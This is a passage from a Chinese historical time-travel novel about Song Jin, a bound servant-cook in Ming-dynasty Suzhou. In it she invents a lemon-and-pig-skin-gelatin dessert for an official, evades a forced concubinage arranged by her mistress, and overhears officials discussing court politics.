一声巨吼在厅中响起,惹得院中家丁纷纷往厅里来。
“公子......”
家丁们刚要发问,就看见宋瑾从门里疾步冲出,只留下文新在厅里气急败坏:“都过来干什么?闲的是吧?”
宋瑾尖叫了一声,吓得文新松了手,她借机脱逃,直奔出院门外躲到拐角处才渐渐平息下来。
过不多时就看见阿荣从门里出来,东张西望地在找人。
“阿荣——”
宋瑾唤了一声,阿荣隐约听见,张望了两下便看见躲在拐角处的宋瑾。
“掌柜的,怎么回事啊?”
“你别问了,咱们回店里去。”她是一刻也不想在这里多待。
宋瑾回了食鼎楼,气性不减,去后院怒杀好几只鸡泄愤,杀到一半忽然想起要给季舒白做点心,这才放下屠刀,准备做点心的材料。
宋瑾想到做点心是因为那日看见了黎朦子,想起可以当柠檬使用,于是生出了做一个柠檬巴巴露亚。
柠檬巴巴露亚是极简单的甜品,可是要做这个,得先解决一个问题,那就是先解决帮助凝固的吉利丁。
吉利丁用鱼胶制最方便,可是眼下要找那么多鱼胶,她也办不到,只好用替代品猪皮来做。
猪皮也不必去外头找,自己店中就有,倒是方便许多。
宋瑾找了店中所有的猪皮出来,用凉水洗净后下锅煮,添些烧酒去去腥,等水滚开了再捞出放凉。
做吉利丁只需要猪皮胶,所以带着的一点点肥肉都需要切除干净,等过了一遍水后处理起来便容易许多。
宋瑾颇有耐心地一片片斜切掉上头的肥肉,再改切成细长条,用面粉重新细细揉洗干净,再重新用清水下锅煮。
这一煮,便从上
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午煮到了下午,半锅开水煮成了糊状,宋瑾这才叫春云停了火。
宋瑾取了好些干净的盘子出来,将那些胶质一点点淋到盘子底铺平,叫春云帮着拿去院中晾干。
“姐姐,这不是猪皮冻么?你怎么把汤冻舀出来了?那待会子怎么吃呀?”
宋瑾笑笑:“你要想吃,等会给你留点儿胶,你取出来用井水镇一下,晚上就能吃了。”
春云笑着道好,一边的红杏插话:“你又要做新东西呢?”
宋瑾道:“是啊,府里的同知季大人爱吃甜食,我给他做一道点心。”
“季大人?”一听季舒白采薇也来了兴致:“可是经常跟那个通判来咱们店里的那个季大人?”
宋瑾点头说是。
采薇道:“噢哟,那可是个俊俏的,就是话少了点儿,冷冰冰的,人长得是真好看。”
宋瑾笑笑,细细回想季舒白,其实脸是有点模糊的,这也不赖她,每次跟他对视都心慌的很,就记得犀利的很。
“对,长得不错,身材也好。”至少没有肚腩。
“你连他身材都见过啊?”
厨房里几个丫头哄笑起来,宋瑾这才发现几人笑话她,淡笑着辩解:“他那身官服穿着,不是很明显么?”
红杏打趣道:“不明显,我们可没瞧出来,不像你,隔着衣服能看见里头。”
“去你的。”
宋瑾笑骂一声,手上动作却不停。
“不过话说回来,你不是要脱籍嘛,若是跟着季大人关系亲近些,也是有好处的。”红杏在她耳边低声道。
宋瑾也明白,只是她断定季舒白这个人过于刚直,别没帮着自己,先拆穿了自己,到时候吃不了兜着走就不好了。
“再说吧,要是我自己能处理,也就不劳烦旁人了。”
脱籍这个事情说大不大,是柏家的家务事。说小不小,一个当官的去管人家的家务事,容易叫人诟病,所以从一开始她就没动过这个心思。
锅里的胶质捞的差不多,剩下的部分宋瑾留着,叫春云用个海碗装起来,自己用凉水镇着,晚上帮她弄些佐料蘸着吃。
春云开心不已,自打跟着来食鼎楼后,旁的不说,这吃上从来没有亏过,以至于原本单薄瘦弱的身材,如今也圆润了起来,有点子小孩样了。
等待猪皮吉利丁干燥的功夫,宋瑾在心里盘算做点心还需要哪些材料,明日一早好跟婆子们去菜市买些回来。
忙完了这些,日头已经西斜,店中逐渐热闹起来,小二已经进来说要上菜了,宋瑾便一头扎进了厨房里。
对于食鼎楼的生意,宋瑾越发得心应手起来。客人们爱吃什么都有了数,该备哪些菜,各人都擅长什么菜也都一清二楚,前头报了菜进来,后头都无需商议,上手便做了起来。
就在宋瑾往一截苦瓜里头灌肉时,外头小二突然来报,说是季大人跟卢大人又来店里了,问她可要出去亲自照应。
宋瑾看着满手荤腥,只得洗洗出去了。
43. 亲事
不知道什么原因,季舒白和卢骏年来的勤快起来,宋瑾只当是自己做的菜合乎他们的胃口,心里也高兴。
只要这些官老爷不找她麻烦,她就高兴。可是卢骏年一开口,她便知道这两人今日不仅仅为了吃而来。
“昨儿个你给罗大人泡茶了?”
“......嗯,是。”
“你们说了很久的话吧?都聊什么了?”
“这个......也没什么呀。”宋瑾觉得真没聊什么,就算聊了什么,敢跟罗大人说的话,她可未必敢跟卢骏年说。
“嗳,说说嘛,家长里短?小店日常?还是哪里的茶好喝?”
“......罗大人喝的是凤凰单枞,好像爱喝那个。”
宋瑾找了个能说的,卢骏年听后面露愁色:“哦,这个苏州可不好找。嗳,你那柴兄不是做茶叶生意么,他能找到么?”
这话问的是季舒白。
季舒白端着茶杯道:“你若想要,我可以托他找找。”
“怎么是我想要呢,这罗大人从京师远道而来,咱们总得表示表示。这贵重了不要,茶叶总可以吧。”
季舒白不吱声,那罗大人又看向宋瑾:“还说什么了?”
宋瑾咬着唇,手指绞袖口,不知道该怎么说。
她不愿意掺和进这些朝廷官员的事情当中来,任何一方都不想沾。
“若是不想说便不必说了,烦请掌柜的帮着做几道菜吧。”
说话的是季舒白,宋瑾如蒙大赦,忙点头称是,噔噔噔地下楼去了,身后卢骏年的声音传来。
“你怎的不让我把话问完?”
“有什么好问的,不就是为了那些事么?何必为难他?”
宋瑾第二回觉得季舒白人挺好的,上一回是在柴家说要派人送她回来。
自打那日卢骏年说要吃苦瓜酿后,宋瑾就提前备下了这道菜,小二跟客人提起的时候常说是御史罗大人的最爱,就连通判大人都点名要吃的,一下子成了热销的菜式,因此每日备下。
这后头宋瑾照常做菜上菜,卢骏年见着他嘿嘿笑着,倒真的没再多问什么,她心里松快许多。
谁料这边刚刚松快下来,柏家的小厮来了店里,要宋瑾第二日一早抽空回趟柏家,大奶奶找她问话。
一种在外野放许久,忽然被公司大佬召回述职的感觉在宋瑾心头升起,而她早就在预谋叛变了,这种感觉更糟。
这一夜,宋瑾没睡好。
第二天一早,宋瑾没有耽搁,梳洗完毕后,交待了婆子今日去菜市一定要买的几样东西后,便独自回了柏家。
一别近三个月,宋瑾对这座宅院的布置了然于胸,却又觉得极为陌生。
她曾经属于这边,却从来不认为这里是自己的家。
进了门,见着院中人,大家相互招呼着,宋瑾没察觉出异样来,直到踏进了紫竹苑里,她一眼便瞧见了莲心皱起的眉头。
她看了看宋瑾,又看了看门里,宋瑾猜到有事发生,只能硬着头皮往里头走,结果一进厅里就见文雅身边站着满脸得色的文新。
“大奶奶万福。”
宋瑾不动声色地行了礼,抬眼再看文雅,手里正捧着本账本在看。她撇眼看向阿荣,那正是他们每次往马蹄巷送银子时登记的账本。
文雅翻看了账本后,将账本合上摆在一边,这才抬眼看向宋瑾:“食鼎楼的生意如何了?”
“一切照常,来往客人比前两月多些。”
“哦,”文雅又端了杯茶在手里,继续道:“那怎么才交上来这些银子?”
宋瑾道:“食鼎楼开业不久,来店的多是些附近的熟客,等时日久了,名气传扬开了,想必生意会更好。”
文雅听了但笑不语,浅浅饮了口茶才道:“我听说那柴大官人喜欢你做的菜?你还去他家承办过宴席?”
“说宴席,实在言重了,只是三四人的小家宴,并不是什么大宴席。柴大官人只是觉得新鲜,也并未多喜爱。”
“是么?”宋瑾听见瓷杯一声响,比以往要重一些:“我怎么还听说,那京师来的御史大人请你去府衙烹茶了。”
“罗大人......罗大人代天子巡视,想要找些百姓们聊聊天,因此找了奴婢过去。”
“那你们都聊什么了?”
宋瑾一抬眼,看见文雅脸上的笑意透着威严,略一思忖道:“罗大人问起咱家的立继一案。”
这一下文雅来了兴致,问道:“那你是怎么说的?”
宋瑾道:“大人问起,这桩没法赢的官司为何大奶奶非打不可,奴婢只好实话实说。”
“怎么个实话实说?”
宋瑾道:“奴婢说大奶奶既嫁进了柏家,那便是柏家的人了,为何夫主去了,大奶奶却不能继承家业。论能力,大奶奶不输任何人,却只因为是女子,便处处受制,实在是不公平。”
文雅听了这话,半天没有吱声,就在宋瑾疑惑间,一个声音传来:“那罗大人是怎么说的?”
宋瑾道:“罗大人听了并未说什么,料想这官司,怕是赢不了了。”
文雅放下了茶杯,声音与以往并无不同。
“你倒是能说会道,出去这段时日本事见涨了。”文雅的脸上重新浮起笑容,温柔道:“你如今十七岁了,我如你这般大的时候,已经进了柏家,做了二房的娘子。”
宋瑾的心猛然收紧,忽然明白过来文新为何在这里,恐怕不只是赚钱太少的事情。
“你身为家奴,本该配个奴才嫁了,可是如今你在外头也算有了些出息,若是再配个奴才岂不是委屈你了。所以我想你年纪也到了,干脆就嫁了我这个侄儿吧。到时候你们两个一起在外头帮我做事,也好有个帮衬,嫁了文新,你也算熬出头了。”
“可是......可是嫁了文公子,奴婢还在外头做厨役,只怕叫文公子面上难堪。”
宋瑾找了个理由推脱,谁知文雅根本不听:“你不是把厨艺都教给了那些婆子了么?既然如此,也就不必担心了,食鼎楼没了你,照样营业。”
文雅的话音刚落,文新便接着道:“姑母,等蔓草嫁了侄
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儿,还叫她在这院中伺候您。您爱吃什么菜,叫她做了给您就好。”
文雅道:“既嫁了你便是你房中的人了,哪有侄媳妇伺候姑母的道理,该伺候的是你爹娘。”说完看向宋瑾道:“你嫁了人,我自然会归还红契,给你放良。这奴籍一脱,你也算扬眉吐气了,还不快谢谢我这侄儿肯纳了你做妾。”
宋瑾:老娘谢你八辈祖宗!
两人站在上头,看着宋瑾垂着头一声不吭,文雅不禁气恼:“怎么,嫁我这侄儿还委屈你了?”
“奴婢不敢,只是觉得......”
“觉得什么?”
眼泪在宋瑾眼眶里打转,不同意走不掉,同意她还不如一头碰死算了。
“奴婢谢大奶奶,谢文公子,只是食鼎楼那边还有些菜式没有交代清楚,御史大人还点了名要奴婢过去烹茶,所以......”
“无妨,此事不急,烹茶这门手艺你也教教,红杏采薇也都学学,到时候也就不必你亲自去了。”
宋瑾只好应下,不过好歹换出一些时日来叫她好好筹谋。
只要一日不嫁,她便还有可能脱身。
脱籍这件事迫在眉睫了。
出了紫竹院的院门,宋瑾觉得疲惫不堪,一则是因为文新刁难,拿婚嫁逼她,另一个却是因为罗大人。
就因为给罗大人泡了壶茶,那卢俊年也来问,文雅也来问,各个都好奇罗大人到底说了什么。这就是宋瑾不爱跟官差打交道的原因,明明没什么,却各个都认为你们之间有了什么,说简单了不信,不说吧更加觉得聊了什么机密,她实在疲于应付。
宋瑾离了文雅的视线,走到正厅侧边廊下的美人靠上坐着歇息,顺便也想想接下来该怎么办才好。结果办法还没想出来,先碰上了出来追她的莲心。
莲心跑的太快,待跑近时直喘,一句话也说不出来,宋瑾只好拍着她的背,叫她一起坐下歇会。
“什么事情,这样着急忙慌的。”
“......杜鹃......姐姐,叫我找你......”
“杜鹃找我?她怎么不来?”
宋瑾刚问出口就明白过来,贴身伺候,找不着空闲出来,只好派莲心来了。
“是有什么事情么?”宋瑾问道。
莲心头直点,又喘了两口气道:“那文公子,在大奶奶面前说了你好些坏话,姐姐说,这桩亲事,不好。”
宋瑾听了心中百感交集,她当然知道不好,可是现在拒绝等于撕破脸,她还没准备好呢。
“她还说什么没?”
莲心歪着头想了想道:“刚刚太急了,只来得及同我说这些话,不过她说你要是不急,就在这家里等等,她待会子出来找你。”
宋瑾道:“好,你回去悄悄告诉她,我先不走,我等她。”
莲心又回了紫竹苑,留下宋瑾一人在这廊下坐着。
宋瑾心绪不宁,一个一个接连刁难,让她措手不及。杜鹃是文雅身边的人,或许能知道什么,也能帮着想想办法,因此她必须在这里等下去。
44. 定亲
宋瑾坐在廊下,越坐越不安稳,见杜鹃那头还没出来,便独自在院中走走,权当散心。
八月里,荷花落败,金桂飘香,宋瑾在院中走着走着,鬼使神差地走到了梅林院门口。
这座以红梅为主的院落里,此刻绿荫一片,距离上一次踏进这里已经过去数月,不知道里头的人如今是何境况。
若是叶问芙知道了自己如今的处境,只怕也会笑吧?
宋瑾怀着一种难以言喻的心情走进梅林院,院中冷冷清清,叫她有些意外。
再往里头走一截,方才听见西边相仿里传来的微弱声音。
“马上就要中秋了,天气渐凉,你这身子得好好保养,否则冬日里难捱了。”
“如今这情景,还提什么保养?她能给我件厚实冬衣就不错了。”
“怕什么?这新式漂亮的冬衣我没有,暖和的衣裳我是够的。等天气冷了,你到我屋里来,咱们围着炭火,总能把这个冬天熬过去的。”
......
声音熟悉的很,宋瑾听出来是二娘赵依柳和四娘叶问芙的声音。没想到数月不见,两人竟然可以坐在一起亲昵地说话了,宋瑾有些诧异,抬脚往西厢房走去。
西厢房里,赵依柳跟叶问芙正坐在厅中,相互说着话。
赵依柳脸色不错,面上带着温柔笑意,让人诧异的是叶问芙,脸颊瘦了些,神情不似从前的嚣张跋扈,如今倒多了几分凄婉。
两个人见着院中有人进来,都有些意外,待看清来人,叶问芙横眉倒竖,将头一拧,重重地哼了一声。
倒是赵依柳,心情很好的样子,冲着宋瑾道:“蔓草,你怎么回来了?”
宋瑾走进去行了万福礼,这才答道:“大奶奶有话问我,所以叫我回来一趟。”
“在外头怎么样?是不是比在这家里自由多了?”
宋瑾笑笑:“自由许多,也忙许多。”
“哼,出去做事不是你自己想要的嘛?如今倒嫌弃外头忙起来了,我说我不曾苛待过你,哪有人信?现如今倒知道里头的好了。”
宋瑾笑笑,并不跟叶问芙犟嘴。
“我倒是羡慕你,能在外头走动,若是能叫我去,我也宁愿穿上男装。”
赵依柳跟宋瑾慢慢说着话,聊着外头的情形,叶问芙自打宋瑾进门后便用背对着她,直到二人聊完也不曾回头。
临了,赵依柳问宋瑾:“你下次几时回来,可能帮着带些珠花簪珥,不要太贵价的,精巧些便好。我们在这院里,数月都见不着一个生人,连外头卖珠花的婆子也进不来这门,只能央你帮着买些。”
宋瑾明白是文雅刻意为之,只好应下这事,答应下回回来的时候,帮着带两样。
赵依柳听了,便叫东枝去取些铜钱碎银来。
“银子不多,你掂量着买些。”
宋瑾接过碎银揣进怀里道了声好,接着又问:“三娘呢?怎么待了这半天,她屋里这样安静?”
赵依柳听了,叹息一声,倒是叶问芙开了口:“人家可是个有本事的,早就改嫁出去了,哪像咱们,早晚憋死在这鬼地方。”
宋瑾有些讶异,万万没想到最先改嫁的不是温柔和顺的二娘,也不是美艳泼辣的四娘,而是那个青楼出身的三娘。
“说到底是人家有本事,外头又有人肯帮忙,说是哪里的千户相中了她,想要迎娶,大姐这不就放人了么。”
原来是个当官的,宋瑾明白了过来,要是一般小商人来娶,未必能这么顺利。
“那二娘是什么打算?”
赵依柳凄然一笑:“我还能有什么打算,熬着吧。”
宋瑾看见叶问芙的肩头抽动了两下,知道她心里委屈的很,便不再提这件事,起身告辞出去了。
离了梅林院,宋瑾重新回到紫竹院附近的游廊上等着杜鹃出来,直到巳时左右才见杜鹃急急忙忙出了紫竹院,宋瑾忙上去招呼。
“杜鹃,这里。”
杜鹃看见宋瑾招呼她,加快步伐走近:“你还在呢?”
“莲心叫我等等你,说你有话跟我讲,我就没走了。”
杜鹃脸色不大好,拉着宋瑾去了一个看不见紫竹苑的角落说话。
“今儿这门亲事你就这般应下了?”
宋瑾皱眉道:“我不想应,只是若想解了这门亲事,我得出门去,所以不得不暂时应下。”
杜鹃道:“我可告诉你,那文公子没安好心。”
接着杜鹃便把文新今日一早拿着账本来找文雅,说宋瑾在外头跟柴大官人以及府衙关系亲近,时日久了只怕不好控制,这才提出由自己娶了宋瑾。一来好约束管教,二来也免得家里的事情泄露给大房那边。
“我瞧他那副样子,定是没安好心,我怕莲心说不明白,所以想亲自告诉你。”
宋瑾那日在马蹄巷跟文新起了冲突,因此知道他对自己不满,有意要给她涨涨教训。这桩亲事说是亲事,不过就是把外人变家人,到时候收拾自己,比文雅收拾叶问芙还要简单。
好歹文雅是个顾面子的,这个文新,可未必。
“我知道了,我一定会尽快想办法除了这门亲事。”
“什么法子?可是找柴大官人,或者是府衙里头的人?”
杜鹃着急,宋瑾也急了起来,脱籍要尽快,这张脸皮要撕就得在成亲之前撕,成亲后就晚了。
“我可告诉你,三娘改嫁了,当初闹得厉害着呢,要不是从前那些手段,是断断出不去的。我当日瞧着你耍那些心思,知道你也想出去,既要去,就得狠一些,否则......”杜鹃压低了声音,凑到宋瑾耳边道:“你可去梅林院见过四娘了?”
宋瑾点点头:“去了,跟二娘在一个屋里说话。”
杜鹃道:“要不是有二娘在,只怕四娘死在屋里都没人知道。好歹是个姨娘,还是这般待遇,你再想想你自己。”
宋瑾垂着头,不知道该如何去接话。
“该说的我都跟你说了,总之这门亲事,我瞧着是个坑,能跑的话你可赶紧跑了吧。”
宋瑾低低道了声:“知道了。”
末了杜鹃又问她:“今日阿荣没跟你一起回来?”
宋瑾这才抬起头来道:“没呢,店里忙碌,他在帮忙,我一人回来的。”
“哦......”
杜鹃看起来有
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些失落,宋瑾察觉出些什么来:“你想见他。”
“没,”杜鹃快速否认掉:“你快回吧,回去好好想想,这桩婚事我瞧着不大好。”
宋瑾谢过了,这才往外头走去,临出门又想起自己那个老爹来,可别叫文新趁自己不在的时候,跟自己老爹将婚事一订,那她又什么打算都没有用了。
于是将要出门的脚又收了回来,跑去花房找自己那个园公老爹。
老陆正拿着剪子剪花枝,见着宋瑾突然跑进来说起亲事,两眼茫然。
“你不肯嫁给长生也就罢了,怎么还不给议亲呢?你一个女孩子,早晚要嫁人的。”
“我有意中人了,人家答应娶我。”
宋瑾觉得,要让这个老爹明白自己不愿意结婚这件事难度相当之大,索性找了个理由将这件事压下去。
“当真?谁呀?”
宋瑾想来想去,一个人冒出来。
“府衙里头的大官,五品呢。”
“五品的肯娶你?”
宋瑾不忿:“不止娶我,还是正妻。”
这下好了,认识的人里就剩一个了。
“这怎么可能?”
“这怎么不可能了?人家就是喜欢我,还常常到我店中来呢。我们说好了,等过些日子,他就帮我脱籍,我再嫁了他,到时候我就是五品大员的夫人了。”
“爹,你记着,我可是要做五品大员夫人的人,你可别再给我商议其他亲事了。但凡有人来说,你都推了,若有聘资,一个铜板也不许留。”
老陆张着大嘴,满脸的不可置信。
“还有,此事要保密,万一叫别人知道了,搅扰就不好了,明白了没?”
“......没。”
“就是我跟季大人私下定亲了,只等着人家来迎娶我了,你不许再给我议旁的亲事。若是再议,我就一脖子吊死。”
说完也不等她爹回答,转头跑了。
五品大员的夫人,那不比文新的小妾厉害多了,宋瑾铁了心的要她爹不许应这门亲事。
至于她自己?她满口谎话又不是一日两日了。
宋瑾应付完文雅,慌忙跑回食鼎楼,眼下已经到了午时,店里已经开始热闹起来了。
应付完午间这波客人,宋瑾开始准备尝试做她的柠檬巴巴露亚。
因为上午的那桩事情,宋瑾今天的兴头不大高,搬了个凳子在后院里,指挥红杏春云她们用盐搓洗柠檬,自己做一门心思地想着几时回去说脱籍一事比较合适。
她想了半晌,想到一个合适的时机,那就是官司落定以后。
等官司定了,大房那头派人进了这头,她再回去说脱籍一事,这样家中便不止文雅一人,闹大了会给那房知道,她猜文雅应当会小心处理。
相比而言,失去外头的小金库,还是失去宋瑾这个家生子,用脚指头想都能想到结果。
至于五品夫人的谎言,宋瑾并不担心被戳穿,她那个做园公的爹没什么机会见到季舒白,只要她爹不嚷嚷就行。
拿定注意之后,宋瑾唯一要做的就是做好准备,免得文雅一为难,她就跟今日这般束手无策可不行。
45. 黎朦糕
宋瑾想出了法子,终于有心思花在她的点心上了。
柠檬洗好后,宋瑾用刀小心翼翼地将黄色的皮一点点削出,避免带上白色的部分。
宋瑾没在大锅里煮牛奶,直接取的铜壶在火炉上煮。
牛奶和柠檬片丢进去煮沸后端离火源,盖上盖子放在一边凉着。
昨日做好的猪皮吉利丁早已干透,宋瑾取了一张用凉水浸泡,接着便是打鸡蛋。
鸡蛋只要蛋黄,加上白糖便是艰难的打蛋工程。
没有打蛋器的时代,宋瑾只能用一双筷子去打,一直打到白糖几乎融化才算结束。
准备完这些东西,宋瑾揭开铜壶的盖子去闻那牛奶,满满的柠檬香气,实在诱人。
炉中火尚未熄灭,宋瑾将半凉的牛奶再次放到炉上加热到边缘起泡,这才把牛奶倒入盛蛋黄的碗中。
牛奶温度不能太高,倒入的速度不能太快,否则那鸡蛋就要成鸡蛋羹了。
一边倒一边搅拌,宋瑾一个人做不来,叫春云帮着搅拌。两人一个端铜壶,一个用筷子搅合,这才勉强倒完了。
此时的牛奶蛋黄水份太多,还得倒回到铜壶里,将水烧到蒸发一些,使其变得浓稠。
春云看着宋瑾先是把牛奶倒出来,接着又倒回去,不禁叹息一声:“你怎的不一开始就把鸡蛋倒进去呢?”
“牛奶太烫,那点鸡蛋倒进去,岂不是直接熟了。”
春云笑笑:“好吧。”
宋瑾一手扶着铜壶,一手用筷子去搅拌牛奶,浓郁的柠檬香气散发出来,引得春云长吸一口气。
“好香啊,待会子一定好吃。”
宋瑾笑骂:“就你嘴馋,等做好了少不了你那份,去帮我拿块干净纱布来。”
“好。”
春云蹦蹦跳跳的跑去拿纱布,宋瑾见着那牛奶鸡蛋已经开始挂在筷子上,知道已经足够稠了,这才端着铜壶离了火,继续慢慢搅拌着。
春云拿了纱布过来,宋瑾叫她撑好,把还是热乎的牛奶鸡蛋用纱布过滤了,再拧干泡软的吉利丁,一起丢进去慢慢搅拌,余温很快将吉利丁融化。
接下来便是奶油,宋瑾鸡贼地叫了两个婆子跟丫头做酥油泡螺,那玩意儿跟现代黄油极为相似,她便拿来代替了。
把牛奶跟酥油按照比例放在一起,添些白糖后几个人轮流去打,终于打出了奶油的雏形,这才把刚刚煮好的浓稠牛奶鸡蛋倒进来一起搅拌。
走到这一步时,各个抱怨连天。
“哎哟,以往做酥油泡螺就够累了,没想到如今还要着什么奶油,你再多做几次啊,我这胳膊就没法要啰。”一个婆子抱怨道。
宋瑾一边慢慢搅拌着,一边笑着答道:“您放心,这东西您叫我日日去做,我也没那个功夫的。”
“那你今日怎么想起来做这个啊?”
宋瑾道:“我跟季大人说好,中秋那日他要来店里用饭,他爱吃甜的,就给准备准备。”
“噢哟,还是你厉害,连季大人都能邀上。不过你不该做这个,太麻烦了,你该做做苦瓜酿那样的菜,又新奇又简单,自打说罗大人跟卢大人爱吃后,好些人找来要吃呢。你做这个人家爱吃有什么用,天天做,胳膊岂不是断掉。”
宋瑾不理,只说:“咱们不告诉别人就是了。”
“那不是白做了。”
宋瑾想,还真是白做了,不禁苦笑一声。
搅拌完毕后,宋瑾取了吃饭的碗,碗底铺上纱布,再把那浓稠的牛奶鸡蛋倒进去,足足倒了两碗出来。
宋瑾决定先用井水冷藏着试试,于是两只盛满了柠檬味牛奶鸡蛋的碗就这么漂在水上,隔水凉着,等着慢慢凝固起来。等到这个时候,晚饭时辰又到了,众人再次忙碌起来。
等众人忙碌完毕,将那碗从水面捞起来时,宋瑾用筷子试了试。
“不行,不够结实,下回得买些冰块回来才行。
“哎哟我的小祖宗,还用冰块,那得卖多少银子呀?”
宋瑾撑着下巴想:是呀,这么费功夫的点心,她可不能放过季舒白,得宰他一个大的。
虽说这两碗柠檬巴巴露亚冻的不够结实,可是宋瑾让众人尝试口味的时候,各个都觉得好吃。
“香,清香,我还是第一回吃到这种香气的点心。”
“滑的很,就是淡了点,咱们下回多添些糖。”
“少了点,不够我们这么多人吃的。”
“可别,那酥油差点儿把我胳膊打断了。”
“哈哈哈,下回我们帮你一起打。”
......
宋瑾搜集了些意见,准备中秋那日改正,哪晓得中秋那日,来的不仅仅是季舒白,还有那京师来的御史罗大人。只是不见那卢大人的身影,不知道是否在陪着家人。
两人在宋瑾的带领下到楼上坐定,季舒白是熟客,罗大人却是第一次来。
“你这小店不错嘛,干干净净,就是口气不小。”
宋瑾憨憨陪笑,知道他说的是那名字,也不辩解,只问要吃些什么。
“那日你做的苦瓜酿,要隔夜的,来一份。另外的菜式,季大人,这里你熟悉,你来点。”
季舒白这才看向宋瑾,问道:“文掌柜今日准备了哪些菜式?”
“日常备下的有白切鸡,还有油炸花生米,大人可要来一份?”
季舒白微笑着道好,宋瑾怀疑自己是眼花了,怎么这人还会微笑了?
“玉米烙也来一份,另外最近可有新的菜式?”
宋瑾眨巴了两下眼睛,道:“有是有,不过还没有给别人做过,要些时间。”
罗大人道:“今日我们两个孤家寡人的,银子不多,就是时间多,掌柜的慢慢做着吧。”
宋瑾笑着道好,又问季舒白:“大人,那点心可要帮您上了,早上刚刚做好,就等您来呢。可以一边喝茶一边吃点心,一边等着上菜。”
季舒白依旧是道好,宋瑾便下去安排了。
茶要好茶,鸡上一整只,花生米量要够,不怕他没银子,最后她自己端着那两碗倒扣在碟子里的柠檬巴巴露亚上了楼。
“季大人,这是那日说好的点心,您二位尝尝。”
季舒白同那卢大人盯着碟中那黄黄的一大坨,都转头看向宋瑾:“这就是你说的点心?”
“是啊,这可是小人数日前就开始准备的。”
宋瑾想,要是有个白釉碟子,加上精致的小银勺,再给那黄色的一坨雕
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个花,那不就是天价了。
季舒白手中抓着白瓷小勺,仔细看了眼那点心,想起之前吃过的焦糖布丁,黄黄的,黑黑的,也是好吃的很,这才下定决心舀了一小口到嘴里。
季舒白的眼睛是狭长形的,日常看人少见喜怒,可是宋瑾在他吃下那一勺柠檬巴巴露亚的时候,眼睛瞬间放大,闪烁出无边光彩来。
“好吃么?”宋瑾得意至极。
季舒白温柔笑笑,却没答话,而是对着罗大人道:“罗大人尝尝。”
宋瑾猜出季舒白喜欢,可偏偏这人不爱说,只怂恿别人吃,嘴角有着压制不住的笑意。
罗大人听季舒白那么一说,笑道:“好,我也来尝尝这......这叫什么来着?”
宋瑾一听还没取名呢,柠檬巴巴露亚肯定不适合用在这大明,于是脑瓜一转,道:“黎朦糕。”
“黎朦糕?这闻着味道倒是很像黎朦子,希望吃起来别像黎朦子,哈哈——”
宋瑾觉得这罗大人有意思,从京师远道而来,自带威严却没什么架子,跟她聊天时也能叫自己放松。不像季舒白,两眼一眯,她便什么实话也不敢讲。
季舒白距离这罗大人差了好几个卢俊年。
就在宋瑾悄悄对比间,那罗大人尝了一口黎朦糕,果然惊叹:“嗯,不过,有黎朦子的清香,却没有黎朦子的酸涩味,清新淡雅里带着甜。文掌柜果然好心思。”
说完又吃了一大口,宋瑾看的心满意足,这只肥羊她今天宰定了。
“那二位大人慢慢吃着,小的去后厨做菜。”
“成,掌柜的去吧。”
罗大人低头吃着黎朦糕,头也不抬地道,实在没什么架子。宋瑾看了眼对坐的季舒白,微笑示意后便退到楼下去了。
宋瑾心情大好,快步下楼去了后厨里,挑出一块成熟的大南瓜,她要给这两人做一个蛋黄南瓜。
大南瓜要去皮,切成长条状,需先用盐腌过,得将南瓜水腌出来些才好进行下一步。
宋瑾趁着腌南瓜的功夫去剥玉米,准备给季舒白做那道黄金玉米烙。
等玉米剥的差不多了,南瓜也腌好了,宋瑾剥了三个咸蛋黄,用小勺子细细碾碎备用。
南瓜沥干水分,也不必洗去盐分,加入团粉搅拌均匀,确保每个南瓜条都沾染均匀了,再放制五成熟的油锅里用小火慢慢炸过,等外头的团粉变成了金黄的硬壳子便可捞出沥油。
如同炸肉圆一般,这南瓜条得放凉后二次入锅复炸才能真正硬起来,否则过一会子又软了。
宋瑾将南瓜条放在一边,将婆子们已经用水煮过的玉米入锅慢炸,等玉米定型炸出时,那南瓜也已经放凉,正好二次入锅。
好不容易处理完南瓜,宋瑾换了口冷锅,里头放冷油,下入碾碎的咸蛋黄小火慢慢炒开,一直炒到蛋黄冒小泡后将炸了两次的南瓜条放进去翻炒均匀,撒入葱花便可出锅。
蛋黄南瓜颜色金黄,外酥里嫩,表面带着咸蛋黄的咸味,里头又带着南瓜的甜味,吃起来咸甜交替,宋瑾第一回吃到的时候惊艳至极,这才回去学了这道菜。
宋瑾欢欢喜喜地端着那道金黄诱人的菜往二楼去,走至楼梯上忽听二人谈话,脚下步伐不禁慢了下来。
46. 讹人
“此次从京师来,张先生托我带话给你,水至清则无鱼,有些事情勿要过分追究。”
“你秉性刚直,这是好事,可是用不对地方便是坏事。苏州又是南方富庶之地,你在此为官千万小心,不知道多少双眼睛盯着这头,张先生不放心你。”
“劳张先生记挂,我会小心些的。”
“眼下外头有李将军,你听说旨意没有?去年才封的太保,今年五月又封宁远伯,土蛮闻名而色变,眼下外头倒算平稳。朝中又有张先生,税赋改革成效显著,先帝又开了关,制造富绅无数。可是这人口袋富有了,人心却不古啊。”
宋瑾听到这里,心头想着:古才怪了,等她脱籍了富有了,她也不要天天对着别人笑。
谁知就在她乱想的时候,那罗大人竟提到了她的名字。
“上回我同这里的掌柜说话,倒觉得他说的对,税赋都在田地上,谁种地谁就苦,怨不得如今越来越多的人卖了田地为奴,耕农的日子苦啊。”
宋瑾想:苦你倒是想想法子啊,不然人家过些年可就要起义啰,不过你夸我倒是没错。
“文掌柜还说些什么?”
宋瑾暗笑,这是对自己好奇了,罗大人的声音接着传来。
“提起了柴家的官司,想法有意思的很,不过有些天方夜谭。至于税赋,倒是有理的。”
宋瑾听了老大不高兴,跺着脚步上了楼。
“二位大人久等了,小店的新菜蛋黄南瓜,请大人尝尝。”
宋瑾笑着打断了二人的话,两人见宋瑾上来也就断了话头。
相比季舒白,每个人都显得和善。
“掌柜的这道菜倒是别致,色泽金黄,咸香四溢,若是改成黄金南瓜,怕是有些人又会给它安上好兆头,成为一道名菜了。”
宋瑾有种豁然开朗的感觉,她怎么就没想到呢?等人走了就改名黄金南瓜,御史大人亲自命名。
“大人说的是,小人老实本分,不大会取名。”
罗大人笑:“这老实本分的人可不会说自己老实本分,哈哈——”
宋瑾跟着陪笑,放下南瓜后吹捧了两句才下楼去,回到厨房继续忙碌。
两人吃的很慢,要的菜式也不多,却偏偏遇上客人不少,宋瑾在后头忙得没空顾上两人,直等到两人将要吃完时才再次上楼。
“二位大人吃得如何?”宋瑾笑问两人。
“不错,掌柜的,你这菜有点儿意思,正好下个月新知府要到任,我若是没有回京,定要请掌柜的帮我做几道拿手菜给新知府。”
